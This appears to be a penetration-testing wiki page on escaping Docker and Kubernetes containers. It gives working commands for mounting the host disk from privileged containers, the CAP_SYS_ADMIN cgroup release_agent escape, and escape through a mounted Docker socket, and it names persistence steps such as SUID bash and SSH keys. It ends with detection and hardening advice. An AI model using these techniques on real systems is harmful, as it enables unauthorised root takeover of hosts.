Container escape
A shell inside a container is not the host. The container shares the machine's kernel but lives isolated by namespaces (PID, network, mounts) and constrained by cgroups and by the set of capabilities it was granted. A container escape means breaking that isolation and ending up running as root on the host, almost always because the container was started with too much (privileged, dangerous capabilities, the Docker socket mounted inside) or because the runtime itself is vulnerable.
The first step is to confirm we are inside a container and of what kind, because it changes the vector:
cat /proc/1/cgroup # paths with /docker/ or /lxc/ give away the container
ls -la /.dockerenv # sentinel file Docker creates
env | grep -i kube # KUBERNETES_* variables -> it is a pod
capsh --print # the container's effective capabilities
mount | grep -i docker.sock # check whether the Docker socket is mounted insidePrivileged container
A container launched with --privileged (or --pid=host, --cap-add=ALL) is barely isolated: it sees the host disks under /dev and can mount them. The direct path is to locate the disk and mount it:
fdisk -l # list the host disks (e.g. /dev/sda1)
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host # mount the host's real filesystem
chroot /mnt/host bash # we are now root on the hostFrom there you consolidate as with any root access: set the SUID bit on bash, write a key into /root/.ssh/authorized_keys or create a user (see writing to /etc/passwd and SUID binary abuse).
Dangerous capabilities
Without --privileged, a single mis-granted capability is enough. The most exploited is CAP_SYS_ADMIN with cgroups v1: the release_agent (notify_on_release) mechanism is abused so the kernel runs a script on the host when the last process in the cgroup exits.
# CAP_SYS_ADMIN + cgroup v1: mount a cgroup, point release_agent at a script and trigger it
mkdir /tmp/cg && mount -t cgroup -o rdma cgroup /tmp/cg && mkdir /tmp/cg/x
echo 1 > /tmp/cg/x/notify_on_release
host=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -1)
echo "$host/cmd" > /tmp/cg/release_agent
printf '#!/bin/sh\nid > %s/out\n' "$host" > /cmd && chmod +x /cmd
sh -c "echo \$\$ > /tmp/cg/x/cgroup.procs" # on exit, the host runs /cmdOther capabilities get you there by another route: CAP_DAC_READ_SEARCH lets you read any host file (the shocker exploit with open_by_handle_at), CAP_SYS_MODULE lets you load a malicious kernel module, and CAP_SYS_PTRACE with --pid=host lets you inject into a host process. Always enumerate the effective capabilities before choosing:
capsh --print | grep -i cap_sys_admin
getcap -r / 2>/dev/nullDocker socket mounted inside
If the container has /var/run/docker.sock mounted, it controls the host's Docker daemon, which runs as root. You ask for a new container that mounts the host root (same effect as docker group abuse, but from inside another container):
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt shVulnerable runtime (runc)
When none of the above applies, the runtime is left. CVE-2019-5736 lets a process in the container overwrite the host's runc binary (via /proc/self/exe): the next time someone runs docker exec against that container, our code runs as root on the host. It is reliable on old runc versions and still shows up in unpatched environments.
How to detect it. The indicators live on the host, not in the container. auditd/Sysmon for Linux see a process whose ancestor is containerd-shim/runc suddenly mounting a block device (/dev/sda*), doing a chroot into that mount and touching real system files (/etc/shadow, /root/.ssh, a chmod +s /bin/bash), something a containerized application never does. The release_agent trick leaves a mount -t cgroup followed by a write to release_agent and to cgroup.procs; loading a module (CAP_SYS_MODULE) fires init_module events; and overwriting runc (CVE-2019-5736) shows as a write over the runtime binary. At the configuration level, a container with Privileged: true, with the Docker socket mounted or with broad capabilities is the early signal that precedes everything else.
Defence. Do not launch containers with --privileged and do not grant capabilities that are not needed (keep only the minimum set, --cap-drop=ALL and add just what is required); never mount /var/run/docker.sock inside an exposed container; keep runc/containerd patched against CVE-2019-5736 and similar; and apply seccomp/AppArmor profiles and user namespaces so the container root is not the host root. Related to docker group abuse, LXD abuse, Kubernetes privesc and container pivoting.